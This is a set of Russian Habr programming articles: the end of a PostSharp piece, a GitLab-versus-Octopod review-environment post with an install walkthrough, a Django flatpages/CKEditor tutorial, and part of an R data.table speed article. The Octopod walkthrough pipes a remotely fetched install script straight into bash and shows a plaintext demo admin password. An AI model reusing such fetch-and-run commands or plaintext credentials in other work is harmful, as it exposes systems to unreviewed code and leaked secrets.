Этот код, который был приведен выше, генерирует бесплатная версия postsharp. Полнофункциональная версия программы работает, оптимизируя результирующий код, как показано ниже. В нашем случае программа поймет, что вы используете только метод onEntry и что в данном случае нет никакой необходимости генерировать огромное количество кода. И в этом случае вы получите такой короткий код:
> `public static void Credit(decimal amount)
>
> {
>
> Arguments CS$0$0\_\_args = new Arguments();
>
> CS$0$0\_\_args.Arg0 = amount;
>
> MethodExecutionArgs CS$0$1\_\_aspectArgs = new MethodExecutionArgs(null, CS$0$0\_\_args);
>
> <>z\_\_Aspects.a14.OnEntry(CS$0$1\_\_aspectArgs);
>
> Balance += amount;
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Полнофункциональная версия по-умному генерирует только тот код, который нужен вам. Если вы пишите приложение с полным использованием аспектов postsharp, использование полнофункциональной версии было бы хорошим решением, чтобы улучшить производительность приложения.
Тем не менее, несмотря на забавные имена автоматически сгенерированных членов классов и локальных переменных, я надеюсь, что вы получили хорошее представление о том, что такое PostSharp.
Ссылки:
* [Официальный сайт](http://www.sharpcrafters.com/)
* [Решаем задачу кэширования](http://habrahabr.ru/blogs/net/123480/)
* [Блоги Intel: PostSharp. Часть 1](http://software.intel.com/ru-ru/blogs/2010/03/09/postsharp-i/)
* [Блоги Intel: PostSharp. Альтернативы](http://software.intel.com/ru-ru/blogs/2010/03/16/postsharp/)
* [Аспектно-ориентированное программирование vs Dependency Injection](http://habrahabr.ru/blogs/net/123186/) | https://habr.com/ru/post/124860/ | null | ru | null |
# Динамические окружения GitLab vs self-service портал. Что выбрать?
**Как все члены наших проектных команд вдруг стали немножко DevOps’ами**
Привет, Хабр! Мы недавно с коллегами читали [статью компании Flant](https://habr.com/ru/company/flant/blog/571482/) о динамических окружениях в GitLab и хотели бы поделиться с вами мыслями о том, почему мы эту, казалось бы, очень долгожданную и классную фичу не используем. Не потому что она плохая, а потому что организационно мы хотели получить решение, которое было бы доступно для использования всеми членами проектных команд, а не только DevOps-инженерами.
В этом посте мы рассказываем, почему нам не подошли средства GitLab, что мы хотели получить взамен и к какому альтернативному решению пришли. Если вам тоже хочется попробовать применить это решения для организации процессов в своих проектах, мы подготовили небольшой туториал, который поможет вам начать.
Введение
--------
Самое основное отличие того, что мы хотели получить, от того, что нам дают CI системы, заключается в том, кто является основным пользователем динамических окружений. На нашем опыте это менеджеры, тестировщики, разработчики и стейкхолдеры проекта. Обратите внимание что это не DevOps инженеры, которые являются единоличными держателями ключей от настроек в CI/CD системах и, как следствие, Gitlab. Было бы здорово, чтобы тестировщики могли себе создать отдельное тестовое окружение, или руководитель проекта мог перенастроить стейджинг без необходимости обсуждать порядок задач в бэклоге у DevOps, правда?
Как это сделать? Нужен некий self-service, т.е. автоматизированный процесс, позволяющий юзерам взаимодействовать с серверами/кластером. В какой-то момент мы все перестали задумываться о том, как сбросить пароль на вебсайте. А ведь это простейший пример self-service портала для пользователей! Только представьте, что иначе вам бы пришлось писать письмо менеджеру и попросить прислать новый пароль вам заказным письмом по физической почте.
Точно так же мы можем революционизировать и то, как мы оркестрируем тестовые окружения для новых фич. Наша реализация такого подхода называется [Octopod](https://github.com/typeable/octopod), и как пример инструмента, иллюстрирующего подход, мы будем использовать именно его.
Octopod является инструментом универсальным и не привязанным к какому-то конкретному способу управления пакетами в Kubernetes. Тем не менее, он главным образом призван значительно упростить развертывание именно Helm-чартов, как стандарт де-факто в мире Kubernetes. В Typeable мы используем Helm, поэтому стандартная поставка Octopod начиная с версии 1.4 уже включает все необходимое для работы с этой утилитой.
Основные отличия от GitLab
--------------------------
Самое, пожалуй, главное это то, что мы начали работать с review-окружениями раньше, чем в GitLab появился интерфейс для работы с динамическими окружениями. Но есть и ряд других причин, в том числе и наше идеологическое отличие в подходе к реализации и использованию review-окружений. Но, давайте обо всем по порядку.
1. **Мы не храним конфигурацию окружения в коде.** Почему? Мы намеренно хотим отвязать окружение от кода и на это у нас есть несколько причин.
1. Не все сотрудники имеют доступ к коду. Наши процессы выстроены таким образом, что аналитики, тестировщики, менеджеры проектов и другие члены команды, которые не пишут код, доступ в репозиторий обычно имеют только на чтение, а то и не имеют его вовсе. Такой подход позволяет нам лучше управлять кодом и иметь меньше рисков и потенциальных проблем. Но им нужна возможность самостоятельно создавать review-окружения, не привлекая DevOps-инженера или разработчика.
2. В GitLab для управления динамическим окружением нужно сначала создать, а затем при необходимости модифицировать файл .gitlab-ci.yml. Таким образом, в каждой ветке кода будет свой такой файл с необходимыми настройками окружения. Есть риск того, что настройки “утекут” в основную ветку, и новые окружения будут иметь неверные параметры. Это нужно как-то решать, и gitflow от этого становится только сложнее за счёт потенциального увеличения количества конфликтов и, как следствие, мерджей или ребейзов.
3. Нам часто приходится вносить изменения в конфигурацию review-окружения. В Octopod легко изменять параметры, переменные окружения, а главное – переключаться между различными endpoint в сервисах, с которыми мы интегрированы. У нас очень много интеграций с внешними системами и не всегда можно протестировать функциональность приложения при подключении к тестовому API. Зачастую требуется взаимодействие с production API.
Таким образом, настройки review-окружения хранятся в Octopod и управляются через Web-интерфейс или CLI Octopod’а (octo CLI) и полностью изолированы от кода.
2. **Переменные окружения в GitLab глобальны для проекта.** Множество параметров review-окружения передается через переменные окружения. GitLab предоставляет интерфейс для указания переменных окружения (Variables) без внесения изменений в .gitlab-ci.yml, но эти переменные имеют глобальный скоуп, то есть распространяются на все динамические окружения проекта. Единственная возможность прописать переменные окружения для конкретного review-environment – это внести их в .gitlab-ci.yml в соответствующей ветке, а это противоречит пункту 1.
В Octopod мы решили эту проблему с помощью Application Configuration и Deployment Configuration. Octopod генерирует список параметров ключ-значение, который позволяет видеть в UI возможные настройки чарта и управлять ими. Достаточно выбрать нужный ключ и прописать значение. Также можно указывать кастомные ключи, которые отсутствуют в списке. Мы предусмотрели два вида настроек конфигурации: Application Configuration и Deployment Configuration. Application Configuration – это конфигурация (Helm values), которая передается приложению. Например, это может быть строка подключения к базе данных или переменные окружения. Deployment Configuration применяется только на этапе создания окружения. Значения ключей передаются в Helm и позволяют переопределять значения по умолчанию, влияя таким образом непосредственно на процесс развертывания. В качестве примера здесь можно привести версию чарта или URL Helm-репозитория.
Вот как выглядит конфигурация стейджинга в Octopod:
3. **Ограничение по ресурсам.** Review-окружений может быть много, потребляемых ими ресурсов – тоже. В конце концов, ресурсы заканчиваются и с этим нужно что-то делать. Поэтому, мы архивируем окружение, когда тикет в Jira перемещается в колонку Done (Jira, Octopod и GitHub у нас интегрированы между собой). Также, архивацию можно сделать и вручную. Архивация подразумевает подход “scale-to-zero”, когда освобождаются Pods, но все остальные ресурсы (Persistent Volumes, например) сохраняются. Это позволяет в случае необходимости разархивировать окружение и очень быстро вернуть его в рабочее состояние. Окружения в архиве старше 14 дней удаляются полностью, то есть происходит cleanup с удалением абсолютно всех ресурсов, включая PVC, сертификаты, и т.д. Автоматизацию этого процесса мы настраиваем с помощью octo CLI – утилиты командной строки Octopod, которая имеет расширенные возможности по сравнению с веб-интерфейсом. В GitLab такой подход тоже можно реализовать, но задача эта нетривиальная и требующая сложной логики в .gitlab-ci.yml.
4. **Требуется четкое отслеживание состояния review-окружения.** Один из недостатков Helm заключается в том, что невозможно отследить состояние окружения после того, как оно было развернуто. Helm завершил свою работу, а следить за тем, продолжает ли окружение функционировать, нужно самостоятельно. В процессе работы что-то может пойти не так, review-окружение уже не работает, но мы этого не знаем, пока оно нам не понадобится. Ребята из Flant решили эту проблему с помощью kubedog, который встроен в werf. Octopod следит за состояниями окружений несколько иначе. Все управляющие скрипты для Octopod мы пишем на Rust и используем kube-rs клиент для проверки статусов всех ReplicaSet. Проверка выполняется каждые 5 секунд, поэтому статус состояния review-окружения в Octopod всегда актуален.
5. **Написание скрипта .gitlab-ci.yml может быть достаточно сложной задачей.** В Octopod мы решили эту проблему за счет поставки готовых скриптов для Helm, позволяющих деплоить любой валидный Helm-чарт. Во многих случаях это полностью исключает необходимость написания каких-либо скриптов и сводит вовлечение DevOps-инженера к минимуму. В конце статьи мы перейдем к практическому упражнению и развернем инстанс Wordpress в Octopod, используя Helm-чарт от bitnami.
6. **Необходимость создания комплексных взаимозависимых окружений.** Если вам нужно создать окружение, которое зависит от инфраструктурных сервисов вроде PostgreSQL или Redis, то эти сервисы могут быть развернуты как отдельные review-окружения с помощью своих Helm-чартов, а параметры подключения к ним переданы через Application Overrides. Так можно использовать, например, один инстанс PostgreSQL или один сервис аутентификации для нескольких review-окружений.
7. **Требуется более тесная и надежная интеграция с кластером Kubernetes.** Octopod работает в том же Kubernetes кластере, в котором разворачивает все review-окружения. Проблема с доступом к кластеру и передачей Secrets решена полностью, Octopod работает через Service Account. В GitLab можно настроить бесшовную интеграцию с Kubernetes кластером, что решает проблему передачи секретов. Но если интеграция по какой-то причине не работает, то возникают сложности.
Практика. Устанавливаем Octopod
-------------------------------
Есть два основных пути установки Octopod:
1. Для промышленного использования. Установка производится в кластер Kubernetes с помощью официального [Helm-чарта](https://github.com/typeable/octopod/tree/master/charts/octopod).
2. Для индивидуального использования и ознакомления с основными возможностями Octopod. Установка производится локально и полностью автоматизирована.
Мы с вами сейчас установим Octopod локально. На данный момент установка поддерживается в Linux и MacOS. Для установки в Windows требуется Windows Subsystem for Linux 2 (Docker Desktop устанавливается в Windows и интегрируется с WSL 2, остальные компоненты устанавливаются в WSL по инструкциям для Linux). Предварительно потребуется установить следующие инфраструктурные компоненты:
1. Docker Desktop (<https://www.docker.com/products/docker-desktop>)
2. Kind (<https://kind.sigs.k8s.io/docs/user/quick-start/#installation>)
3. Kubectl (<https://kubernetes.io/docs/tasks/tools>)
4. Helm 3 (<https://helm.sh/docs/intro/install>)
5. (Только для Windows) WSL 2 (<https://docs.microsoft.com/en-us/windows/wsl/install>)
Затем запускаем скрипт, который установит Octopod:
`/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/typeable/octopod/master/octopod_local_install.sh)"`
**Важное замечание при установке Octopod в Windows.** WSL 2 может иметь проблемы с подключением к ресурсам по SSL из-за настроек антивирусного ПО с функцией файерволла (<https://docs.microsoft.com/en-us/windows/wsl/troubleshooting#no-internet-access-in-wsl>). Проявляется это как time out при попытке скачивания данных из репозиториев.
После того, как установка завершена, открываем браузер и в адресной строке вводим <http://octopod.lvh.me> и видим
Наверное, здесь стоит пояснить, что lvh.me – это простой сервис, который на любой запрос возвращает IP-адрес локального хоста 127.0.0.1. Его удобно использовать, чтобы не приходилось каждый раз вносить изменения в /etc/hosts.
Теперь нам нужно создать новый деплоймент. Octopod поставляется с уже предустановленными параметрами для Helm-чартов от bitnami, а в качестве примера используется Wordpress.
Нажмите кнопку NEW DEPLOYMENT. На экране появится окно, в котором необходимо ввести параметры окружения. В самом простом случае достаточно ввести имя. Например, wordpress. Но мы добавим еще два App override (для этого нажмите ADD AN OVERRIDE:
| | |
| --- | --- |
| **KEY** | **VALUE** |
| wordpressUsername | admin |
| wordpressPassword | P@ssw0rd |
Мы добавляем эти две переменные только на время создания review-окружения, когда эти переменные будут использованы для инициализации Wordpress. Затем их можно удалить. Естественно, что имя пользователя и пароль мы здесь указываем явно и простым текстом лишь для упрощения и в демонстрационных целях на локальной версии Octopod. В реальных условиях мы используем соответствующие инструменты типа Hashicorp Vault.
Нажмите кнопку SAVE.
Через некоторое время review-окружение будет создано.
На этом создание review-окружения завершено. Теперь вы можете открыть Wordpress по ссылке, которая указана в колонке Links. Чтобы зайти в админку, добавьте в URL /admin (<http://wordpress.lvh.me/admin>). Введите имя пользователя и пароль, которые были указаны при создании окружения.
Если все прошло успешно, то переменные wordpressUsername и wordpressPassword можно удалить, а пароль при необходимости можно заменить в админке Wordpress.
Заключение
----------
Мы считаем, что review-окружения могут быть полезны не только разработчикам и тестировщикам, но и другим людям с меньшими техническими скилами. Поэтому мы постарались сделать порог вхождения в Octopod минимальным, интерфейс дружелюбным и понятным, а взаимодействие с пользователем интуитивным и предсказуемым. Именно этим продиктован путь, который мы выбрали для развития Octopod и решения тех проблем, которые описаны в этой статье. Конечно, идеологически Octopod значительно отличается от GitLab Dynamic Environments и применяет другие подходы к решению схожих вопросов. Но свое главное предназначение он выполняет безотказно – DevOps инженеры теперь свободны от рутинных задач по созданию и обслуживанию review-окружений, а это много стоит.
Нам, в свою очередь, очень хотелось бы получать обратную связь от пользователей Octopod. Ждем ваших предложений, пожеланий и PRs на [GitHub](https://github.com/typeable/octopod)! Также мы готовы ответить на ваши вопросы, пожелания и замечания в комментариях.
**Вам может быть интересно:**
1. [Параллельные вселенные для вашего CI/CD пайплайна в Octopod](https://habr.com/ru/company/typeable/blog/541430/)
2. [Когда стоит выбирать микросервисы](https://habr.com/ru/company/typeable/blog/567430/)
3. [В чем польза формальных спецификаций вроде OpenAPI?](https://habr.com/ru/company/typeable/blog/573420/)
4. [Nix: Что это и с чем это употреблять?](https://habr.com/ru/company/typeable/blog/550860/)
[Версия на английском языке](https://typeable.io/blog/2021-11-01-octopod) | https://habr.com/ru/post/586698/ | null | ru | null |
# Расширяем и используем Flatpages в Django. Встраиваем CKEditor
Здравствуйте, сегодня я хотел бы вам рассказать о том, как сделать модель, которая хранит в себе обычные страницы, а не отдельные записи в базе данных (для ListView, TemplateView и тд). Речь пойдёт о том, как расширить и дополнить существующие в Django flatpages. Но хотелось бы рассказать о проблеме, с которой я столкнулся и почему решил поделиться данным функционалом. Часто возникает ситуация, когда в админке для администратора сайта нужно реализовать функционал самой обычной страницы (одна запись в БД – это одна страница, где прописывается url, контент и доп. инфа для конкретной страницы). Тем самым можно создавать прямо из админки новые страницы с любым url и контентом.
Приведу пример: была поставлена задача реализовать такую страницу, где было бы обычное текстовое поле, к которому прикручен ckeditor и администратор мог бы менять и писать нужный текст о компании, а также переписывать его. Первая мысль, которая тебя посещает — это обычная запись в модели и в контроллере (вьюхе) сделать класс на основе TemplateView, и страница создана без проблем. Но далее начинаешь понимать, что это очень плохой стиль и если этот администратор начнёт добавлять новые записи в бд, то вёрстка поедет. Сразу же приходит в голову способ переопределить, например, метод get\_context\_data или get\_queryset (в ListView). И там сделать нужную выборку (например, брать только самую первую запись из БД) где собственно администратор и будет править нужную страницу, но всё равно у него остаётся возможность добавлять новые записи в бд, которые просто будут игнорироваться. Придумав ещё пару способов, я отбросил эту затею. Посчитав это плохим тоном, я вспомнил о существование flatpages в Django, но освежив в памяти их функционал, стало ясно, что добавить что-то в их контекст данных невозможно, но можно, например, указать нужный шаблон, который обрабатывается ‘шаблонизатором’, но вот текст, который вы задаёте в поле текста, не обрабатывается ‘шаблонизатором’. Это стоит учитывать, но для меня это не являлось большой проблемой. Но вот что являлось, так это то что это изначально flatpages не расширяемый модуль и прикрутить столь важный ckeditor невозможно. Пришлось думать, как это можно реализовать. Но именно этот функционал мне и нужен был. После вводной части теперь давайте перейдём к более подробному изучению столь хорошему модулю flatpages, но к сожалению, неполноценному, давайте это исправим.
Что такое статичные страницы в джанге – это страницы содержимое которых не генерируется на основе хранящихся в модели данных, а задаётся в виде обычного html кода в соответствующих, заранее заданных, полях.
**Основные недостатки:**
1. Данные не генерируются на основе данных из модели, а следовательно во views.py (далее буду называть контроллером по MVC, а не представление по MVT) мы не можем как то их обработать, дополнить и поместить в контекст данных что либо ещё. А также не можем изначально расширить или изменить модель (models.py).
2. Содержимое таких страниц должно представлять собой чисты html код — это главная причина почему из коробки flatpages неполноценны. Так же стоит понимать, что данный код не обрабатывается ‘шаблонизатором’
**Основные плюсы:**
1. Cодержимое flatpages включает в себя интернет-адрес страницы, её заголовок, содержимое и самое главное путь к файлу шаблона. Последний пункт, является ключевым, не смотря на то, что мы не можем передавать данные, но можем сделать нужную страницу используя: базовый шаблон, в котором у нас есть меню настроенное с помощью тегов и переменных джанги, задать места где нужно выводить данные из flatpages, подключать ‘включённые шаблоны’ и тд.
2. Одна запись в модели соответствует одной странице на сайте, что является большим плюсом, система полностью настроена нужным образом, что позволяет не писать нам собственный велосипед.
### Настройка проекта:
1. В settings.py добавляем.
```
INSTALLED_APPS = [
…
'django.contrib.sites', '''Служит для обеспечения работы нескольких web-сайтов на одной копии Django. В данном проекте, это нужно для корректной работы flatpages.'''
'django.contrib.flatpages',
'flatpage_main' #Потребуется в дальнейшем, имя можете задать любое.
…
]
```
2. Добавляем в проект(settings.py) SITE\_ID = 1 и в MIDDLEWARE 'django.contrib.flatpages.middleware.FlatpageFallbackMiddleware',
3. Делаем синхронизацию с базой данных для добавление нужных таблиц в БД (до 5 шага 'flatpage\_main' не писать в INSTALLED\_APPS) .
4. Заходим на административный сайт проверяем, что всё работает. У вас должна появиться графа ‘простые страницы’.
5. Создаём новое приложение — python manage.py startapp 'flatpage\_main'.
6. Настраиваем ckeditor, на просторах интернета этот материал уже есть, думаю вы сможете его поставить и настроить, а использовать научитесь на этом примере. Если будет нужно, постараюсь написать статейку на хабр, но материал по этому вопросу есть в интернете.
### Реализация поставленной задачи:
1. Зайдём в модели и добавим следующий код —
```
from django.db import models
from django.contrib.flatpages.models import FlatPage
from ckeditor_uploader.fields import RichTextUploadingField
class NewFlatpage(models.Model):
flatpage = models.OneToOneField(FlatPage)
description = RichTextUploadingField(verbose_name = 'Основной текстовый контент страницы',default='')
text_block = RichTextUploadingField(verbose_name='Дополнительный блок текста',default='')
def __str__(self):
return self.flatpage.title
class Meta:
verbose_name = "Содержание страницы"
verbose_name_plural = "Содержание страницы"
```
Разберёмся что тут написано:
… import FlatPage Добавляем модель, на которую будем ссылаться.
… import RichTextUploadingField спец поле, которое нужно для работы ckeditor
В нашем новом классе ссылаемся через OneToOneField на модель FlatPage, тем самым создаём нужную связь, что позволяет нам увеличить базовую функциональность flatpages, расширяя её.
А далее добавляем любые нужные нам поля, которые хотим, чтобы были в админке и в будущем на самой странице, тем самым можем добавить поле для любого нужного нам контента.
2. Следующая ступень – это admin.py.
```
from django.contrib import admin
from django.contrib.flatpages.admin import FlatPageAdmin
from .models import *
class NewFlatpageInline(admin.StackedInline):
model = NewFlatpage
verbose_name = "Содержание"
class FlatPageNewAdmin(FlatPageAdmin):
inlines = [NewFlatpageInline]
fieldsets = (
(None, {'fields': ('url', 'title', 'sites')}),
(('Advanced options'), {
'fields': ('template_name',),
}),
)
list_display = ('url', 'title')
list_filter = ('sites', 'registration_required')
search_fields = ('url', 'title')
admin.site.unregister(FlatPage)
admin.site.register(FlatPage, FlatPageNewAdmin)
```
Приступим к разбору:
Первый класс NewFlatpageInline и атрибут во втором классе inlines = [NewFlatpageInline], создаёт связь между этими классами, давая возможность на одной странице выводить поля из двух взаимосвязанных таблиц (‘позволяет редактировать связанные объекты на одной странице с родительским объектом’).
fieldsets позволяет задать поля и настройки которые будут выведены в интерфейсе администратора у родительского объекта(flatpage), лишние настройки были убраны.
Последние две строчки — это снятие и регистрация моделей в админке.
3. Третий шаг это — urls.py.
```
url(r'^main/$', views.flatpage, {'url': '/main/'}, name = 'main'),
```
Добавляем эту строчку если чётко знаем что данная страница точно будет, и мы хотим обрабатывать её в базовом шаблоне, например, в меню, и ссылаться на неё по имени в переменной шаблона, потому что сам шаблон рендерится ‘шаблонизатором’.
Для других страниц вы можете задать —
```
url(r'^/', include('django.contrib.flatpages.urls')),
```
Тем самым любой другой url адрес будет привязан к url адресу, который вы зададите при создание новой страницы.
4. Четвёртый шаг это – template:
```
{% url 'main' as main %}
{% if request.path == main %}
- [Главная]({% url 'main'%})
{% else %}
- [Главная]({% url 'main'%})
{% endif %}
```
Выше написал пример работы меню с flatpages и остальными страницами основанных на контроллерах и шаблонах, думаю код тут предельно ясный и понятный, комментарии излишни. Как видим получить имя url адреса из urls.py, а потом обработать его не составляет никакого труда, тем самым закрывая последнюю сложность в реализации.
Последний штрих, в шаблоне, который мы указали при создании страницы, при создании страницы в админке будет поле в которому указывается шаблон для этой страницы (напр: main.html). В этом шаблоне добавляем нужные нам поля, используя переменные
```
{{flatpage.newflatpage.description|safe}}
```
и
```
{{flatpage.newflatpage.text_block|safe}}
```
, тем самым позволяя нам вывести нужные данные на итоговую страницу. В этом шаблоне работает всё тоже самое что и в других, например, наследование от base.html.
5. Деплойт – при деплойте вы столкнётесь с парой ошибок связанных с работой ‘django.contrib.sites', вы должны войти в шелл (python manage.py shell) и написать следующие команды:
```
>>> from django.contrib.sites.models import Site
>>> site = Site.objects.create(domain='http://ваш_домен.ru/', name=''http://ваш_домен.ru/)
>>> site.save()
```
Это должно помочь решить проблему с эксепшн.
На этом всё! Мы получили крутой и удобный способ добавлять, редактировать и удалять страницы на своём сайте. Научились реализовывать меню, которое позволит переключаться между активными и не активными пунктами и не важно flatpages это или страницы с контроллерами. Так же поработали с ckeditor и разобрались как его настраивать. Разобрали все попутные моменты и сложности. А самое главное соединили это всё в удобный и полезный инструмент, который позволит грамотно администрировать сайт в дальнейшем, а также развивать его, что конечно же удобно для конечного пользователя. Надеюсь данная статья была полезна и многим она поможет в работе! Кому-то сэкономит время. А кто-то напишет в комментариях ниже дополнительные советы и дополнит её! | https://habr.com/ru/post/340686/ | null | ru | null |
# data.table: выжимаем максимум скорости при работе с данными в языке R
На эксклюзивных условиях представляем для вас полный вариант [статьи](https://xakep.ru/2016/10/03/r-data-table-speed/) из журнала [Хакер](https://habrahabr.ru/company/xakep/), посвященной разработке на R. Под катом вы узнаете, как выжать максимум скорости при работе с табличными данными в языке R.
*Примечание: орфография и пунктуация автора сохранены.*
К чему лишние слова? Ты же читаешь статью про скорость, поэтому давай сразу к сути! Если у тебя в проекте идет работа с большим объемом данных и на трансформацию таблиц тратится больше времени, чем хотелось, то `data.table` поможет решить эту проблему. Статья будет интересна тем, кто уже немного знаком с языком R, а также разработчикам, которые его активно используют, но еще не открыли для себя пакет `data.table`.
Устанавливаем пакеты
====================
Все необходимое для нашей сегодняшней статьи можно проинсталлить с помощью соответствующих функций:
```
install.packages("data.table")
install.packages("dplyr")
install.packages("readr")
```
R атакует
=========
В последние годы язык R заслуженно набирает популярность в среде машинного обучения. Как правило, для работы с этим подразделом искусственного интеллекта необходимо загрузить данные из нескольких источников, провести с ними преобразования для получения обучающей выборки, на ее основе создать модель, а затем использовать эту модель для предсказаний.
На словах все просто, но в реальной жизни для формирования «хорошей» и устойчивой модели требуется множество попыток, большинство из которых могут быть абсолютно тупиковыми. Язык R помогает упростить процесс создания такой модели, так как это эффективный инструмент анализа табличных данных. Для работы с ними в R существует встроенный тип данных `data.frame` и огромное количество алгоритмов и моделей, которые его активно используют. К тому же вся мощь R заключается в возможности расширять базовую функциональность с помощью сторонних пакетов. В момент написания материала их количество в официальном репозитории достигло **8914**.
Но, как говорится, нет предела совершенству. Большое количество пакетов позволяют облегчить работу с самим типом данных `data.frame`. Обычно их цель — упростить синтаксис для выполнения наиболее распространенных задач. Здесь нельзя не вспомнить пакет `dplyr`, который уже стал стандартом де-факто для работы с `data.frame`, так как за счет него читаемость и удобство работы с таблицами выросли в разы.
Перейдем от теории к практике и создадим `data.frame` `DF` со столбцами `a`, `b` и `с`.
```
DF <- data.frame(a=sample(1:10, 100, replace = TRUE), # Случайные числа от 1 до 10
b=sample(1:5, 100, replace = TRUE), # Случайные числа от 1 до 5
c=100:1) # Числа от 100 до 1
```
Если мы хотим:
* выбрать только столбцы `a` и `с`,
* отфильтровать строчки, где `a` = 2 и `с` > 10,
* создать новую колонку `aс`, равную сумме `a` и `с`,
* записать результат в переменную `DF2`,
базовый синтаксис на чистом `data.frame` будет такой:
```
DF2 <- DF[DF$a == 2 & DF$c > 10, c("a", "c")] # Фильтруем строки и столбцы
DF2$ac <- DF2$a + DF2$c # Создаем новую колонку
```
С помощью `dplyr` все гораздо нагляднее:
```
library(dplyr) # Загрузим пакет dplyr
DF2 <- DF %>% select(a, c) %>% filter(a == 2, c > 10) %>% mutate(ac = a + c)
```
Эти же шаги, но с комментариями:
```
DF2 <- # результат всего, что справа записать в DF2
DF %>% # взять DF и передать дальше (%>%)
select(a, c) %>% # выбрать колонки «a» и «с» и передать дальше (%>%)
filter(a == 2, c > 10) %>% # отфильтровать строки и передать дальше (%>%)
mutate(ac = a + c) # добавить колонку «ac», равную сумме «а» и «с»
```
Есть и альтернативный подход для работы с таблицами — `data.table`. Формально `data.table` — это тоже `data.frame`, и его можно использовать с существующими функциями и пакетами, которые зачастую ничего не знают о `data.table` и работают исключительно с `data.frame`. Этот «улучшенный» `data.frame` может выполнять многие типовые задачи в несколько раз быстрее своего прародителя. Возникает законный вопрос: где подвох? Этой самой «засадой» в `data.table` оказывается его синтаксис, который сильно отличается от оригинального. При этом если `dplyr` с первых же секунд использования делает код легче для понимания, то `data.table` превращает код в черную магию, и ~~только годы изучения колдовских книг~~ несколько дней практики с `data.table`позволят полностью понять идею нового синтаксиса и принцип упрощения кода.
Пробуем data.table
==================
Для работы с `data.table` необходимо подключить его пакет.
```
library(data.table) # Подключение пакета
```
В дальнейших примерах эти вызовы будут опущены и будет считаться, что пакет уже загружен.
Так как данные очень часто загружаются из файлов CSV, то уже на этом этапе `data.table` может удивлять. Для того чтобы показать более измеримые оценки, возьмем какой-нибудь достаточно большой файл CSV. В качестве примера можно привести данные с одного из последних соревнований на [Kaggle](https://www.kaggle.com/c/facebook-v-predicting-check-ins/data). Там ты найдешь [тренировочный файл CSV](https://www.kaggle.com/c/facebook-v-predicting-check-ins/download/train.csv.zip) размером в 1,27 Гбайт. Структура файла очень простая:
* `row_id` — идентификатор события;
* `x`, `y` — координаты;
* `accuracy` — точность;
* `time` — время;
* `place_id` — идентификатор организации.
Попробуем воспользоваться базовой функцией R — `read.csv` и измерим время, которое понадобится для загрузки этого файла (для этого обратимся к функции `system.time`):
```
system.time(
train_DF <- read.csv("train.csv")
)
```
Время выполнения — 461,349 секунды. Достаточно, чтобы сходить за кофе… Даже если в будущем ты не захочешь пользоваться `data.table`, все равно старайся реже применять встроенные функции чтения CSV. Есть хорошая библиотека `readr`, где все реализовано гораздо эффективнее, чем в базовых функциях. Посмотрим ее работу на примере и подключим пакет.
```
library(readr)
```
Дальше воспользуемся функцией загрузки данных из CSV:
```
system.time(
train_DF <- read_csv("train.csv")
)
```
Время выполнения — 38,067 секунды — значительно быстрее предыдущего результата! Посмотрим, на что способен data.table:
```
system.time(
train_DT <- fread("train.csv")
)
```
Время выполнения — 20,906 секунды, что почти в два раза быстрее, чем в `readr`, и в двадцать раз быстрее, чем в базовом методе.
В нашем примере разница в скорости загрузки для разных методов получилась достаточно большая. Внутри каждого из используемых методов время линейно зависит от объема файла, но разница в скорости между этими методами сильно зависит от структуры файла (количества и типов столбцов). Ниже указаны тестовые замеры времени загрузки файлов.
Для файла из трех текстовых колонок видно явное преимущество `fread`:
Если же считываются не текстовые, а цифровые колонки, то разница между `fread` и `read_csv` менее заметна:
Если после загрузки данных из файла ты собираешься дальше работать с `data.table`, то `fread` сразу его возвращает. При других способах загрузки данных будет необходимо сделать `data.table` из `data.frame`, хотя это просто:
```
train_DF # Загруженный data.frame
train_DT <- data.table(train_DF) # data.table созданный из `data.frame`
```
Большинство оптимизаций по скорости в `data.table` достигается за счет работы с объектами по ссылке, дополнительные копии объектов в памяти не создаются, а значит, экономится время и ресурсы.
Например, ту же задачу создать `data.table` из `data.frame` можно было бы решить одной командой на «прокачку», но надо помнить, что первоначальное значение переменной будет потеряно.
```
train_DF # Загруженный data.frame
setDT(train_DF) # Теперь в переменной DF у нас уже содержится data.table
```
Итак, данные мы загрузили, пора с ними поработать. Будем считать, что в переменной `DT` уже есть загруженный `data.table`. Авторы пакета используют следующее обозначение основных блоков `DT[i, j, by]`:
* i — фильтр строк;
* j — выбор колонок или выполнение выражения над содержимым `DT`;
* by — блок для группировки данных.
Вспомним самый первый пример, где мы использовали `data.frame` `DF`, и на нем протестируем различные блоки. Начнем с создания `data.table` из `data.frame`:
```
DT <- data.table(DF) # Сделаем экземпляр data.table из существующего data.frame
```
Блок i — фильтр строк
---------------------
Это самый понятный из блоков. Он служит для фильтра строк `data.table`, и, если больше ничего дополнительно не требуется, остальные блоки можно не указывать.
```
DT[a == 2] # Фильтр строк где a == 2
DT[a == 2 & c > 10] # Фильтр строк где a == 2 и c > 10
```
Блок j — выбор колонок или выполнение выражения над содержимым data.table
-------------------------------------------------------------------------
В данном блоке выполняется обработка содержимого `data.table` с отфильтрованными строками. Ты можешь просто попросить вернуть нужные столбцы, указав их в списке `list`. Для удобства введен синоним `list` в виде точки (то есть `list (a, b)` эквивалентно `.(a, b)`). Все существующие в `data.table` столбцы доступны как «переменные» — тебе не надо работать с ними как со строками, и можно пользоваться intellisense.
```
DT[, list(a, c)] # Возвращает столбцы «а» и «с» для всех строк
DT[, .(a, c)] # Аналогично предыдущему
```
Можно также указать дополнительные колонки, которые хочешь создать, и присвоить им необходимые значения:
```
DT[, .(a, c, ac = a+c)]
```
Если все это объединить, можно выполнить первую задачу, которую мы пробовали решать разными способами:
```
DT2 <- DT[a == 2 & c > 10, .(a, c, ac = a + c),]
```
Выбор колонок — всего лишь часть возможностей блока j. Также там можно менять существующий `data.table`. Например, если мы хотим добавить новую колонку в существующем `data.table`, а не в новой копии (как в прошлом примере), это можно сделать с помощью специального синтаксиса `:=`.
```
DT2[, ac_mult2 := ac * 2] # Создание внутри DT2 нового столбца ac_mult2 = ac * 2
```
С помощью этого же оператора можно удалять колонки, присваивая им значение `NULL`.
```
DT2[, ac_mult2 := NULL] # Удалим внутри DT2 столбец ac_mult2
```
Работа с ресурсами по ссылке здорово экономит мощности, и она гораздо быстрее, так как мы избегаем создания копии одних и тех же таблиц с разными колонками. Но надо понимать, что изменение по ссылке меняет сам объект. Если тебе нужна копия этих данных в другой переменной, то надо явно указать, что это отдельная копия, а не ссылка на тот же объект.
Рассмотрим пример:
```
DT3 <- DT2
DT3[, ac_mult2 := ac * 2] # Создаем новую колонку
```
